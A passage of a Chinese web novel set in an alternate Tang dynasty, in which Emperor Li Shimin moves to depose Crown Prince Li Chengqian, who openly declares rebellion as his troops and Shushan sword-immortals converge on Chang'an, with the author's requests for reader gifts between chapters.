他不敢动,甚至连呼吸都放得极轻,生怕一丝一毫的异动,都会引来雷霆之怒。 时间,在烛火的摇曳中,一寸寸流逝。 终于,李世民的声音响了起来,没有丝毫温度,从九幽之下传来。 “玄龄,你说说看,太子……如何?” 这个问题,轻飘飘的,却重若千钧。 房玄龄的心猛地一沉。 他跟了李世民半生,太清楚这位帝王的脾性。 越是风平浪静的问话,底下往往就藏着越是汹涌的波涛。 问太子如何? 这是要他表态了。 房玄龄的脑中瞬间闪过无数念头。 太子监国以来,并无大错;太子在荆州,开疆拓土,功勋卓著;太子得军心,得民望…… 这些话,能说吗? 不能。 一句都不能说。 陛下深夜召见,气氛肃杀至此,绝不是想听这些歌功颂德的废话。 他斟酌着,每一个字都含在舌尖的刀片。 “太子殿下……英明神武,类陛下之风。” 他只能这么说,既是称赞,也是一种试探。 “呵。” 龙椅上传来一声短促的冷笑,充满了无尽的嘲讽。 “类朕之风?是啊,太像了!像到……朕都有些怕了!” 李世民猛地从龙椅上站起,那双深邃的眸子里,终于燃起了压抑不住的火焰,那是猜忌与杀意交织的火。 “玄龄,你跟了朕多少年了?” “回陛下,自晋阳起兵,至今已二十余载。” 房玄龄躬身答道,额头已经渗出细密的冷汗。 “二十多年……” 李世民踱步到他面前,强大的压迫感让房玄龄几乎喘不过气,“那朕问你,玄武门之事,你可还记得?” 房玄龄身子一颤,头垂得更低了。 “臣……不敢忘。” “好一个不敢忘!” 李世民的声音陡然拔高,如同惊雷炸响,“那你说说,当年朕若心慈手软,如今这龙椅上坐着的是谁?这大唐天下,又会是何等光景?” 房玄龄嘴唇翕动,却一个字也说不出来。 他知道,皇帝已经不需要他的答案了。 李世民转过身,背对着他,声音再次变得冰冷而幽远。 “承乾,他不仅仅是类朕之风,他是在走朕的老路!他背后,有一股连朕都看不透的力量,蜀山!那个能一夜之间抹去突厥十五万大军的蜀山!” 轰! 房玄龄只觉得脑子里一声巨响,整个人都懵了。 蜀山! 太子! 这两个词,就像两条毒蛇,瞬间缠住了他的心脏,让他浑身冰凉,手脚发麻。 难怪! 难怪陛下会如此! 国之储君,勾连足以颠覆天下的宗门势力,这已经不是储位之争,这是要谋逆! 是要换了这大唐的天! 冷汗,顺着他的脊背,瞬间湿透了内衫。 “陛下……” 他艰难地开口,声音干涩沙哑,“此事……可有确凿证据?” “证据?” 李世民猛地回头,眼中血丝密布,状若疯魔,“朕就是证据!这天下,就是证据!朕感觉到了,那股力量正像一张无形的大网,从荆州,从长安的每一个角落,要把朕,把整个李氏江山,都给吞噬掉!” 他指着自己的胸口,一字一顿地嘶吼:“朕,夜不能寐!朕的江山,危在旦夕!玄龄,你告诉朕,朕该怎么办?!” 房玄龄看着眼前这位几近失控的帝王,心中最后的一丝侥幸也荡然无存。 他知道,事情已经到了无可挽回的地步。 他必须做出选择。 是保太子,还是保大唐? 不,是保太子,还是保住自己的项上人头? 他缓缓跪了下去,双膝触地的声音,在大殿中格外清晰。 “陛下,臣以为,太子羽翼已丰,其势已成,若骤然废黜,恐引天下大乱,军心不稳。” 李世民冷冷地看着他,没有说话,等待着他的下文。 房玄龄咽了口唾沫,继续说道:“然,卧榻之侧,岂容猛虎酣睡?为今之计,当徐徐图之。可先削其权,收其兵,断其与蜀山之联系。将太子调回长安,置于陛下眼皮底下,再慢慢剪除其党羽。如此,方为万全之策。” 这番话,说得滴水不漏,既考虑了朝局稳定,又点出了问题的核心,是为臣者最稳妥的建议。 然而,李世民听完,却笑了。 那笑容里,没有欣慰,只有无尽的冰寒和失望。 “徐徐图之?呵呵……房玄龄,你真是老了。” 李世民缓缓走回龙椅,重新坐下,整个人都陷入了巨大的阴影之中。 “朕没有时间等了。等朕剪除完他的党羽,他恐怕已经带着蜀山的剑修,杀进这太极宫了!” 他的手指,轻轻敲击着龙椅的扶手,每一下,都敲在房玄龄的心上。 “玄武门,朕能杀建成,能杀元吉。这双手,早就沾满了亲人的血。” “朕的父皇,如今还在太极宫里颐养天年,那是因为朕还念着一丝父子之情。” “可承乾呢?” 李世民的目光陡然变得锐利如刀,直刺房玄龄的内心。 “他会念吗?他不会!在他的眼里,朕这个父皇,就是他登上权力巅峰最大的绊脚石!” 房玄龄伏在地上,身体控制不住地颤抖。 他听懂了,他彻底听懂了皇帝的言下之意。 那不是猜忌,不是愤怒,而是…… 决绝的杀心! “明日朝会。” 李世民的声音平静下来,平静得可怕。 “你,亲自上奏,弹劾太子李承乾。” 房玄龄猛地抬头,满脸的不可置信。 李世民漠然地看着他,继续说道:“罪名,朕都替你想好了。结党营私,意图不轨,豢养私兵,德不配位!” “到时候,朕会顺水推舟,下旨废黜他的太子之位,贬为庶民,囚于宗正寺,永世不得出!” 第53章 李承乾底牌尽显,玄武门外显峥嵘! 皇帝疯了! 这哪里是削弱,这是要一棍子打死! 房玄龄张了张嘴,想要劝谏,却在接触到李世民那双毫无感情的眼睛时,把所有的话都咽了回去。 那双眼睛在告诉他,顺我者昌,逆我者亡。 君要臣死,臣,不得不死。 更何况,他只是被当成了一把刀。 “臣……臣……” 房玄龄的声音抖得不成样子。 “嗯?” 李世民的鼻腔里发出一声轻哼,带着不容置疑的威压。 房玄龄闭上眼,用尽了全身的力气,重重地将头磕在冰冷的金砖上。 “臣……遵旨。” “很好。” 李世民的脸上终于露出了一丝满意的神色,“去吧,连夜写好奏疏,明日,朕要看到一扬好戏。” 房玄龄颤巍巍地站起身,躬着身子,一步一步地向殿外退去。 他的每一步都踩在刀尖上,沉重而痛苦。 当他走出甘露殿,被深夜的寒风一吹,才发现自己的后背早已被冷汗浸透,冰冷刺骨。 他回头望了一眼那座灯火通明,却又阴森如鬼蜮的宫殿,心中一片悲凉。 今夜之后,再无退路。 大殿之内,李世民独自一人,枯坐在龙椅之上。 他拿起桌案上的一方玉佩,那是承乾周岁时,他亲手为他戴上的。 玉佩温润,他却感觉不到一丝暖意。 “承乾,别怪父皇心狠。” “要怪,就怪你生在帝王家,更怪你……野心太大,大到连父皇都容不下你了。” 他手一松,玉佩落在坚硬的地砖上,发出一声清脆的碎裂声。 四分五裂。 一如他们即将破碎的父子之情。 明日的朝堂,必将掀起滔天巨浪。 而他,将是那个亲手掀起风暴的人。 千里之外,荆州。 夜幕下的军营,一片死寂。 一骑快马如黑色闪电,冲破夜色,卷起漫天尘土,直奔中军大帐。 信使翻身下马,从怀中掏出一个用火漆密封的竹筒,单膝跪地,高高举起。 “太子殿下密令!” 守在帐前的秦怀玉一把接过,转身冲入帐中。 帐内,一身戎装,正对着沙盘凝神,听闻声音,她猛地抬头,目光如电。 秦怀玉划开火漆,展开一张薄薄的丝帛。 上面只有两个字,笔锋凌厉,杀气透纸而出。 “起兵!” 的瞳孔骤然收缩,她与秦怀玉对视一眼,都在对方眼中看到了决绝。 “传令!” 的声音不高,却异常清晰,带着不容置疑的威严。 “全军……开拔!” “马蹄裹布,刀枪出鞘!” “目标,长安!” “踏平一切阻碍!” “喏!” 命令被迅速传达下去。 沉睡的军营瞬间变成一头苏醒的巨兽。 没有喧哗,没有呐喊,只有甲叶碰撞的沉闷声响,战刀出鞘的冷冽摩擦声。 十五万大雪龙骑,这些追随李承乾百战百胜的精锐,如同黑色的潮水,无声无息地涌出营地,汇入茫茫夜色之中。 他们的眼中,没有迷茫,只有对太子殿下最狂热的忠诚。 他们的刀锋所向,便是帝国的都城,长安! 而此时的蜀中。 青城山,云雾缭绕。 三千名身穿青色道袍的剑修,肃立于山门之前。 他们背负长剑,面容冷峻,身上散发出的凌厉剑气,让周遭的空气都凝固。 宗主无名站在最前方,他仰望长安的方向,苍老的眼中,是洞悉一切的智慧与忧虑。 “时机已至。” 他轻轻吐出四个字。 “此去长安,护太子,清君侧!” “凡阻拦者,杀无赦!” “遵法旨!” 三千剑修齐声应和,声震寰宇。 下一刻,三千道剑光冲天而起,撕裂云层,如流星雨般划破长空,向着长安的方向激射而去。 剑气纵横三万里,一剑光寒十九州! 长安城内,风声鹤唳。 百姓们早早地关紧了门窗,一股莫名的恐惧在空气中蔓延。 他们不知道,在这座繁华帝都的阴影之下,一扬真正的“百鬼夜行”正在上演。 潮湿的地下暗渠,废弃的鬼宅,喧闹的平康坊深处…… 无数个阴暗的角落里,一个个戴着青铜鬼面的身影悄然浮现。 他们是“罗网”,是李承乾耗费五年心血,秘密打造的最锋利的匕首。 他们是行走在人间的恶鬼,是黑夜的裁决者。 李承乾所属势力,快速集结! 李承乾的底牌尽显,各路兵马集结长安城! 李世民与李承乾,势如水火! 翌日,天光微熹。 晨雾尚未散尽,长安城还笼罩在一片朦胧的静谧之中。 朱雀大街上,一队人马踏着整齐的步伐,朝着皇城方向行进。 为首的青年,身着太子朝服,头戴紫金冠,面如冠玉,目若朗星。 他身姿挺拔如松,骑在神骏的白马之上,顾盼之间,自有一股睥睨天下的气度。 正是当朝太子,李承乾。 他的身后,簇拥着一众大唐最顶尖的武将。 “嘿,殿下今儿个可真是精神!” 程咬金骑着他的大黑马,凑在旁边,粗着嗓门嚷嚷,他那标志性的大胡子随着马步一颠一颠,“俺老程看着就舒坦!这才是咱大唐太子的样儿!” 秦琼在一侧,只是微微颔首,他那饱经风霜的脸上露出一丝欣慰的笑意。 他看着李承乾的背影,就像看着自家最出息的晚辈,满眼都是期许。 尉迟敬德面色如铁,不苟言笑,但那双铜铃大眼里,也透着一股子满意。 军神李靖,则落后半个马身,眼神沉静如水,不动声色地观察着四周。 这支队伍,几乎囊括了大唐军方一半的威望。 他们簇拥着李承乾,浩浩荡荡,如众星拱月,毫不掩饰地向整个长安宣告着太子的地位与实力。 然而,李承乾的心中,却没有半分轻松。 他能感觉到,今日的空气中,弥漫着一丝不同寻常的味道。 太极殿前,文武百官早已列队等候。 当李承乾一行人抵达时,无数道目光齐刷刷地投了过来,复杂难辨。 有羡慕,有嫉妒,有敬畏,还有…… 隐藏在深处的怨毒。 五姓七望的官员们聚在一处,为首的陇西李氏宗正李泰煦,眯着一双老眼,看着被将星环绕的李承乾,嘴角撇出一抹冷笑。 而另一边,房玄龄垂着头,站在百官之首,脸色苍白得像一张纸。 他的眼眶下是浓重的黑影,一夜未眠。 整个人都透着一股行将就木的颓败之气,与这庄严肃穆的朝堂格格不入。 杜如晦站在他身旁,眉头紧锁,低声问道:“玄龄,你这是怎么了?可是身体不适?” 房玄龄的身体几不可察地抖了一下,他没有抬头,只是含糊地应了一声:“无妨……许是昨夜受了些风寒。” 杜如晦还想再问,却听一声尖锐的唱喏响彻云霄。 “陛下驾到——!” 沉重的殿门缓缓开启,所有官员收敛心神,躬身行礼。 “吾皇万岁万岁万万岁!” 山呼海啸声音回荡在宏伟的太极殿中。 李世民身着龙袍,头戴冕旒,一步一步,沉稳地走上御阶。 他的脸上看不出任何表情,那双深邃的眼眸扫过下方跪拜的群臣,最终,在李承乾的身上停顿了一瞬。 那一瞬的目光,冰冷,陌生,不带丝毫父子间的温情。 李承乾心中一凛,那股不祥的预感愈发强烈。 “众卿平身。” 李世民的声音在大殿中响起,带着不容置疑的威严。 他坐上龙椅,双手按在膝上,整个大殿瞬间陷入了死的寂静。 空气凝固了,压抑得让人喘不过气。 每一个官员都低着头,连呼吸都小心翼翼,生怕发出一点声响,惊扰了御座上那头沉默的雄狮。 风声鹤唳,剑拔弩张。 这扬朝会,从一开始就透着一股山雨欲来的味道。 “有事启奏,无事退朝——!” 侍立一旁的太监扯着嗓子喊道,声音在这寂静中显得格外刺耳。 百官依旧沉默,无人出列。 就在所有人都以为今日会是一个平静的早朝时,一个身影,缓缓从文官队列中走了出来。 不是房玄龄。 也不是杜如晦。 更不是五姓七望的任何一人。 是魏征。 那个以刚正不阿、犯颜直谏而闻名天下,被李世民誉为可以“知得失”的一面镜子的谏议大夫,魏征。 他手捧一卷奏疏,面色肃穆,一步一步走到大殿中央,然后猛地跪倒在地,高举奏疏过头顶。 “臣,谏议大夫魏征,有本启奏!” 他的声音,铿锵有力,掷地有声,每一个字都一记重锤,狠狠敲在所有人的心上。 程咬金等人眉头一皱,这老小子又要找谁的茬? 李世民的眼皮微微抬了一下,声音平淡无波:“讲。” “臣,弹劾太子李承乾!” …… 兄弟们,正在加油莽。 十个礼物加更,现在还差四个。 求四个礼物,马上加更,说到做到! 第54章 荆州起兵十五万,昨日已下十二城!兵锋直指长安城! 一石激起千层浪! 整个太极殿瞬间炸开了锅。 所有人都惊愕地抬起头,不敢相信自己的耳朵。 弹劾太子? 魏征疯了吗? 程咬金的牛眼瞪得溜圆,下意识就要开口大骂。 秦琼眼疾手快,一把拉住了他的衣袖,对他使劲摇了摇头。 李承乾站在那里,身形纹丝不动,但他的瞳孔却骤然收缩。 他想过无数种可能,想过会是五姓七望发难,想过会是李泰、李治那些兄弟暗中使绊子,甚至想过会是房玄龄这样的宰相奉了密旨。 魏征! 李承乾的目光越过魏征,直直射向那高高在上的龙椅。 他看到,他的父皇,脸上没有半分惊讶,只有一片深不见底的漠然。 他瞬间明白了。 这是一扬戏。 一扬早就编排好的,只为他一个人上演的戏。 而魏征,不过是那个被推到台前的,最锋利,也最令人信服的刽子手。 “臣,弹劾太子李承乾十大罪状!” 魏征的声音再次响起,冰冷而清晰。 “其一,结党营私,广纳门徒,朝中武将过半唯其马首是瞻,有动摇国本之嫌!” “其二,擅自调兵,命大雪龙骑远征吐谷浑,视国法军纪为无物!” “其三,于封地荆州,豢养私兵,数量不明,其心可诛!” “其四,生活骄奢,修建东宫耗费巨万,不知民间疾苦!” “其五……” 魏征每念出一条罪状,大殿内的空气就冷一分。 程咬金气得浑身发抖,一张黑脸涨成了猪肝色。 这些罪名,哪一条不是胡说八道! 什么叫擅自调兵? 什么叫豢养私兵? 那是殿下自己招募的护卫! 秦琼、尉迟敬德、李靖等人的脸色也阴沉。 他们都是军人,最重情义,也最看不得这种无端的构陷。 而五姓七望的官员们,则个个眼露精光,嘴角抑制不住地上扬,一副幸灾乐祸的模样。 终于,魏征念完了最后一条罪状。 “其十,德不配位,行事乖张,手段狠辣,毫无仁君之风!恳请陛下,废黜太子,以正国本,以安天下!” 说完,他重重地将头磕在地上,长跪不起。 整个太极殿,死寂一片。 所有人的目光,都聚焦在两个人身上。 御座上的李世民,和站在殿中的李承乾。 李世民缓缓地从龙椅上站起身,他居高临下,俯视着自己的儿子,那眼神,在看一个不共戴天的仇人。 他等了很久,似乎是在给李承乾辩解的机会。 但最终,他只问了一句话。 声音不大,却如雷霆万钧,响彻在每个人的耳边。 “太子,魏卿所言,你可认罪!” 这一声质问,不是询问,而是审判。 带着不容置喙的威压,带着早已定下的结局。 李承乾笑了。 在这剑拔弩张,风声鹤唳的大殿之上,他竟然笑了。 那笑声很轻,却带着无尽的嘲讽和悲凉。 他缓缓抬起头,迎上李世民那冰冷的目光,眼神里没有惊慌,没有恐惧,只有一片澄澈的,令人心悸的平静。 他一字一顿,声音清晰地传遍大殿的每一个角落。 “父皇,欲加之罪,何患无辞!” 话音落,整个太极殿被抽干了空气。 针落可闻。 程咬金那双牛眼瞪得滚圆,粗重的呼吸声像破旧的风箱。 他想冲上去,一斧子劈了魏征那张臭嘴,可秦琼的手死死按在他的肩膀上,那力道,几乎要捏碎他的骨头。 李靖闭上了眼,长长的睫毛微微颤抖,这位大唐军神,此刻脸上只有一片化不开的悲哀。 五姓七望的官员们则像闻到血腥味的苍蝇,兴奋得浑身哆嗦,眼神在李世民和李承乾之间来回扫视,期待着那最精彩的一幕。 “好一个欲加之罪,何患无辞!” 李世民的声音从牙缝里挤出来,每一个字都淬了冰的钢针,扎在人心上。 他走下御阶,一步,一步,缓缓逼近。 龙袍上的金线在昏暗的殿内闪烁着噬人的光。 “这么说,魏卿所奏,桩桩件件,你全不认?” 他的声音压得很低,却带着一股山雨欲来的狂暴。 李承乾挺直了脊梁,那张俊秀的脸上,嘲讽的笑意愈发浓烈。 他没说话,只是用一种看陌生人的眼神,平静地回望着这个生养他,却又一心想置他于死地的父亲。 他不认? 他为什么要认这些狗屁不通的罪名? 他为大唐拓土千里,灭吐谷浑,那是擅自调兵? 他为大唐储备良才,建大雪龙骑,那是豢养私兵? 他为大唐百姓谋福祉,推广高产作物,那是骄奢淫逸? 父皇啊父皇,你的心,到底是什么做的? 难道那张龙椅,真的比亲情、比大唐的江山社稷,还要重要? 李承乾的心,一点点沉下去,沉入无底的深渊,然后,被彻骨的寒意冻结成冰。 他想起了前世史书上那个被废黜,最终郁郁而终的太子。 不。 他绝不重蹈覆覆辙! 父慈子孝! 君臣之道! 既然你不给我活路,那我便自己,杀出一条血路! 太极殿内父子对峙,剑拔弩张! 此时,李世民胜券在握。 五姓七望的官员,坐山观虎斗。 房玄龄和杜如晦,站在李世民身侧。 此时,对于李承乾来说,便是天倾! 正在此时,八百里加急入宫! “启禀陛下,不好了!荆州起兵十五万,昨日已下十二城!兵锋直指长安城!” …… 四个礼物已经到位,兑现承诺,加更! 继续求礼物。 野生的发电,求一波。 十个礼物加更,现在还差四个 求四个礼物。 第55章 决战玄武门 “什么?!” “荆州…十五万大军?” “昨日已下十二城?!” 嗡的一声,整个大殿炸了锅。 方才还在幸灾乐祸,准备看太子如何被废的五姓七望官员们,脸上的血色瞬间褪得一干二净,嘴巴张得能塞进一个鸡蛋,眼神里满是纯粹的恐惧。 那不是演戏,那是真的怕了! 荆州! 那可是太子的封地! 兵锋直指长安! 这意味着什么? 这意味着屠刀已经悬在了他们所有人的脖子上! 程咬金那双牛眼猛地转向李承乾,充满了难以置信的困惑。 秦琼按在他肩上的手,不知不觉间松开了,虎口微微颤抖。 李靖紧闭的双眼豁然睁开,浑浊的瞳孔中爆发出骇人的精光,他死死盯着那个传令兵,仿佛要将他看穿。 房玄龄和杜如晦交换了一个眼神,彼此都看到了对方眼中的惊涛骇浪。 这,怎么可能! 大唐承平已久,哪里来的十五万大军造反? 荆州不是刚刚被太子殿下用雷霆手段清洗过吗? 那些氏族土豪,不是都被屠戮殆尽了吗? 一个可怕的,几乎不敢去想的念头,像毒蛇一样钻进每个人的心里。 荆州…… 氏族…… 不久之前,太子李承乾,刚刚在荆州,屠戮了十万氏族! 难道说…… 刹那间,所有人的目光,都像被磁石吸引的铁屑,齐刷刷地汇聚到了李承乾的身上。 有惊骇,有恐惧,有疑惑,有疯狂。 李世民的身躯僵在原地,那双深邃如渊的眸子里,风暴正在凝聚。 他缓缓地,一寸一寸地转过身,龙袍的下摆在地面上摩擦出令人牙酸的声响。 他的目光像两把淬毒的利剑,死死钉在李承乾的脸上,每一个字都像是从九幽寒冰中捞出来的。 “李承乾,是你的兵马吗,是你的兵马造反吗!” 没有质问,没有怒吼,那是一种被极致的愤怒和背叛挤压到极限的平静,平静得让人骨髓发寒。 整个大殿的空气仿佛都凝固成了铁块。 在万众瞩目之下,在父亲那双几欲噬人的眼睛注视下,李承乾非但没有半分畏惧,反而缓缓挺直了胸膛。 那根被重压弯曲的脊梁,在这一刻,笔直如枪! 他迎着李世民的目光,嘴角那抹嘲讽的弧度愈发浓烈,化作了睥睨天下的傲然。 “不错!” 他朗声开口,声音不大,却清清楚楚,掷地有声。 “就是孤的兵马!” 话音落地的瞬间,时间仿佛停滞了。 紧接着,就是山崩海啸般的震撼! 疯了! 太子疯了! 他竟然承认了! 他竟然如此理直气壮地承认了谋反! 程咬金一个踉跄,差点摔倒在地。 秦琼那张古板的脸上,第一次出现了龟裂般的惊愕。 尉迟敬德藏在袖中的手,指甲深深掐进了肉里。 这太子蛊惑他们的儿子,造反…… 满朝文武的震撼之中。 一幅铁血画卷已经在长安展开。 无边无际的旷野之上。 黑色的铁甲洪流正在集结。 “大雪龙骑,集结!” 秦怀玉身披重甲,声如洪钟。 三万铁骑,人马俱甲,静默如山,只听见战马偶尔打着响鼻,喷出白色的热气。 他们手中的马槊,斜指苍穹,锋刃上还残留着吐谷浑人的血迹,散发着冰冷的杀意。 “陌刀营,出列!” 薛仁贵手持陌刀,目光坚毅。 一万名陌刀手迈着整齐划一的步伐,每一步都让大地为之颤抖。 他们肩上的陌刀,宽刃重背,在阴沉的天空下闪烁着令人心悸的寒光。 更有十万荆州新军,他们或许没有大雪龙骑的精锐,但他们的眼中燃烧着复仇与狂热的火焰。 他们的家人,他们的宗族,都死在了那些高高在上的氏族手中,是太子殿下,给了他们新生,给了他们复仇的机会! 十五万大军,旌旗如林,刀枪如海! 他们的目标,只有一个——长安! 秦琼,程咬金,尉迟敬德等人一代武将功勋之后,竟然直接把老子都给卖了,奉太子之命,反攻长安。 太极殿内,李世民的胸膛剧烈起伏着,他看着眼前这个既熟悉又陌生的儿子,一股狂怒的血气直冲头顶。 “好!好!好一个就是孤的兵马!” 他怒极反笑,指着李承乾的鼻子,声音因为愤怒而变得尖利。 “你就没有一点羞耻心吗?谋逆造反,竟敢说得如此理所当然!” “羞耻心?” 李承乾轻轻重复着这三个字,脸上的笑容变得悲凉而冷酷。 他向前踏出一步,与李世民的距离不过三尺。 父子二人,四目相对,一个怒火滔天,一个平静如冰。 “父亲,” “您当年发动玄武门,手足相残,逼宫夺位的时候,不也是……理所当然吗?” 李承乾的声音忽然变得很轻,却像一记重锤,狠狠砸在李世民的心口上。 “父皇,你问我羞耻心?我想问问,囚父,弑兄,睡弟媳的人是我吗?” 轰! 这一句话,如同一道九天惊雷,在李世民的脑海中轰然炸响! 玄武门! 玄武门! 那是他一生最大的荣耀,也是他内心最深处的梦魇! 是他永远不愿被人提及的伤疤! 此刻,却被他最看重的儿子,用如此平静,如此理所当然的语气,当着满朝文武的面,血淋淋地揭开! 李世民脸上的狂怒瞬间凝固,化为一片煞白。 他的嘴唇翕动着,想要咆哮,想要反驳,却发现喉咙里像是被堵了一团烧红的烙铁,一个字也吐不出来。 是啊…… 当年,他何尝有过半分犹豫? 何尝有过半分羞耻? 为了那张龙椅,他亲手射杀了兄长,逼死了弟弟,将刀架在了父亲的脖子上。 那时候的他,不也觉得这一切都是理所当然吗? 一瞬间,眼前的李承乾,仿佛与二十多年前那个手持滴血长剑的自己,重叠在了一起。 同样的年轻,同样的决绝,同样的…… 理所当然。 李世民踉跄着后退一步,眼神涣散,满朝的文武百官,那一张张惊骇的脸,都在他眼前变得模糊。 整个太极殿,死一般的寂静。 只剩下父子二人,隔着一道名为“皇权”的鸿沟,无声对峙。 一个,被问得哑口无言。 一个,英姿勃发,气吞山河。 …… 这是上一波礼物的加更。 十个礼物加更,还差四个。 兄弟们,野生的发电走一波。 今天莽一个通宵。 四个礼物加更,说到做到。 第56章 那这反,孤就反了!又当如何! 针落可闻。 文武百官,一个个僵立在原地,如同被施了定身咒的泥塑木雕,连呼吸都下意识地屏住。他们的大脑一片空白,被太子那句诛心之言震得魂飞魄散。 玄武门! 他怎么敢?他怎么敢在朝堂之上,当着陛下的面,提起这三个字! 李世民的身躯在龙袍下微微颤抖,脸色由煞白转为一种死灰。那道被他埋在皇权最深处,用无数个不眠之夜的梦魇浇灌的伤疤,此刻正汩汩地向外冒着黑血。 他想嘶吼,想拔出天子剑,将这个逆子就地格杀! 可他做不到。 因为李承乾的眼神,太像了……太像二十年前那个站在血泊中,冷眼看着父亲的自己。 那份理所当然,如出一辙。 就在这令人窒息的寂静中,一个身影从文官队列中走了出来。 是魏征。 他面沉如水,眼神里没有惊骇,只有一种铁铸般的冰冷和决绝。他走到大殿中央,对着龙椅上的李世民,深深一拜。 “陛下。” 他的声音不大,却像一块巨石投入死水,激起千层浪。 “叛逆李承乾,狼子野心,昭然若揭!其亲口承认谋逆,证据确凿,天地不容!” 魏征抬起头,目光如刀,直视李承乾,仿佛要将他凌迟。 “臣,恳请陛下,依大唐律法,将此獠处以车裂之刑,以正国法,以儆效尤!” “车裂!” 这两个字一出,满朝文武瞬间炸开了锅! “臣附议!太子谋逆,罪不容诛!”一名崔氏的官员立刻跳了出来,声音尖利,脸上带着病态的潮红。 “请陛下车裂李承乾!” “请陛下车裂李承乾!” 以五姓七望为首的士族官员们,像是嗅到了血腥味的鬣狗,纷纷出列,跪倒一片。他们的眼中闪烁着贪婪与复仇的光芒,声音汇成一股巨大的声浪,冲击着这座摇摇欲坠的宫殿。 其他的朝臣们,则是一脸的震撼与不解。 李承乾疯了吗? 他为什么要当众承认?就算真的要反,也该是兵临城下,胜券在握之时!现在这样,不是自寻死路吗? “他哪来的胆子?” “这是……这是要把天捅个窟窿啊!” 窃窃私语声,像是无数只虫子,在每个人的心头啃噬。 长安城外,蹄声如雷。 玄甲军的营地里,号角声此起彼伏,急促而尖锐。留守的将领们面面相觑,他们接到了来自长安的密令,却又被另一股无形的力量压制得动弹不得。 城郊的官道上,尘土飞扬。 一队队身着荆州军服饰的兵马,正从四面八方汇聚而来,他们的脸上没有表情,手中的长枪却擦得锃亮。 风声鹤唳,杀气弥漫。 整个长安,就像一个被拉满的弓,弓弦发出不堪重负的嗡鸣,只等那最后一根手指的松开。 龙椅之上,李世民的眼神,终于从涣散中重新聚焦。 他没有去看那些跪地请命的臣子,他的目光,死死锁在李承乾的身上。 震怒和伤痛正在褪去,取而代之的,是帝王深入骨髓的多疑和警惕。 不对劲。 太不对劲了。 承乾不是蠢货。他既然敢在这里,当着所有人的面,掀开最后的底牌,就不可能没有后手。 他凭什么? 凭那十五万大军?远水解不了近渴!只要自己一声令下,禁军和百骑就能将他剁成肉泥! 难道…… 一个可怕的念头,在李世民的脑海中闪过。 难道他有恃无恐? 他的底牌,不只是荆州的兵马? 就在这时,面对着满朝的喊杀声,面对着那些恨不得食其肉、寝其皮的仇敌,李承乾,笑了。 那是一种极淡,极冷的笑。 他甚至没有去看那些叫嚣的士族官员,而是将目光转向了魏征。 “魏公。” 他开口了,声音不大,却清晰地压过了所有的嘈杂。 “孤记得,您常说,‘兼听则明,偏信则暗’。” 李承乾向前迈了一步,玄色的朝服下摆在地面上划出一道优美的弧线,他整个人,宛如一柄出鞘的利剑,锋芒毕露,英姿勃发。 “你们口口声声说孤谋逆,证据确凿。” 他环视四周,目光扫过每一张惊恐、愤怒、或是幸灾乐祸的脸。 “那孤倒想问问,孤,为何而反?” “你……”魏征一时语塞。 “是因为孤残害忠良,还是鱼肉百姓?是因为孤穷兵黩武,还是横征暴敛?” 李承乾的声音陡然拔高,字字如金石掷地,在空旷的大殿中回响。 “孤在荆州,开垦荒田,推广新作,让数万流民得以温饱!此为罪吗?” “孤派兵西征,荡平吐谷浑,为我大唐开疆拓土,扬国威于塞外!此为罪吗?” “孤血洗荆州氏族,将他们侵占的土地分予百姓,将他们搜刮的民脂民膏充盈国库!这,也是罪吗?” 他向前逼近一步,直面着脸色铁青的魏征和一众士族官员。 “如果说,让百姓有饭吃,让大唐更强盛,就是谋逆!” 李承乾猛地一甩袖袍,声如洪钟。 “那这反,孤就反了!又当如何!” …… 兄弟们,在看书吗? 吱一声 第57章 蜀山剑仙!御剑飞行! 剑指长安! 这一句话,如一计重锤,砸在太极殿的盘龙金柱上,砸在每一位臣工的心头。 大殿之内,死寂无声。 之前还叫嚣着要诛杀国贼的士族官员们,此刻被掐住了脖子的鸡,张着嘴,却发不出半点声音。 他们的脸,由涨红转为煞白,眼中汹涌的怒火被一种更原始的情绪——恐惧——所取代。 魏征的胡须在颤抖,他一生犯颜直谏,从未有过片刻退缩。 可现在,他看着眼前这个英姿勃发,气势如虹的太子,竟感到一阵陌生和心悸。 这还是那个温文尔雅,甚至有些怯懦的储君吗? 这分明是一头蛰伏已久,终于亮出獠牙的猛虎! 大殿之上,李世民与李承乾对峙。 他竟然毫不畏惧的抬头凝视! 李世民没有发怒,那股滔天的怒火,在李承乾说出“孤就反了”的那一刻,反而诡异地平息了下去。 取而代之的,是一种彻骨的冰寒。 他终于想明白了。 承乾的底气,不是来自荆州,不是来自那些正在集结的兵马。 他的底气,来自于他自己。 来自于他此刻展露出的,那份视满朝文武如无物,视君父皇权如草芥的…… 绝对自信! 这份自信从何而来? 李世民的脑中电光火石,无数个线索碎片疯狂地拼接、重组。 蜀山剑仙…… 灭突厥十五万大军…… 血洗清河崔氏…… 自己一直以为,那是游离于朝堂之外,可以拉拢,也可以打压的第三方势力。 可如果…… 如果这股力量,从一开始就属于承乾呢? 他不敢再想下去。 也就在这时,大殿外传来一阵急促到失态的脚步声,沉重的殿门被人从外面猛地推开,发出“哐当”一声巨响,打破了这令人窒息的寂静。 满朝文武骇然回头。 只见不良帅袁天罡,这位常年隐于幕后,泰山崩于前而色不变的大唐国师。 此刻竟是发髻微乱。 “陛下!” 袁天罡的声音嘶哑。 “国师何故如此惊慌?” 李世民的声音低沉,他强行压下心中的惊涛骇浪,维系着帝王的威严。 然而,所有人都看出了不对劲。 袁天罡是干什么的? 掌管不良人,监察天下,上观天象,下卜吉凶。 能让他如此失态的事情,绝非凡俗! “启禀陛下!” 袁天罡猛地抬起头,双目赤红,死死盯着龙椅上的李世民,“出大事了!” 他喘着粗气,用尽了全身的力气,才从喉咙里挤出那句足以让天地变色的话。 “钦天监刚刚传来急报,西方天际,紫气倒灌,星斗移位!” “蜀山剑仙,再次下山!” “什么?!” “蜀山?!” 朝堂瞬间炸开了锅! 如果说刚才李承乾的逼宫是人间帝王的权谋之争,那“蜀山”这两个字,则代表着完全超脱凡俗的,神鬼莫测的力量! 那是一夜之间,屠灭十五万突厥铁骑,只留下一块剑牌震慑天下的存在! 他们怎么又下山了? 魏征、房玄龄、杜如晦等人脸色剧变,他们敏锐地嗅到了毁灭性的气息。 李泰煦和一众五姓七望的官员,则是心头狂跳,一种不祥的预感,如同乌云般笼罩了他们。 李世民的瞳孔,骤然收缩成一个危险的针尖。 他没有理会群臣的哗然,而是死死盯着袁天罡,一字一顿地问道:“他们……意欲何为?” 袁天罡的身体抖得更厉害了,他艰难地咽了口唾沫,声音低若蚊蚋,却清晰地传遍了整座大殿的每一个角落。 “不良人设在各州道的暗桩,同时传来飞鸽密报……” “三千……三千剑仙,御剑升空……” 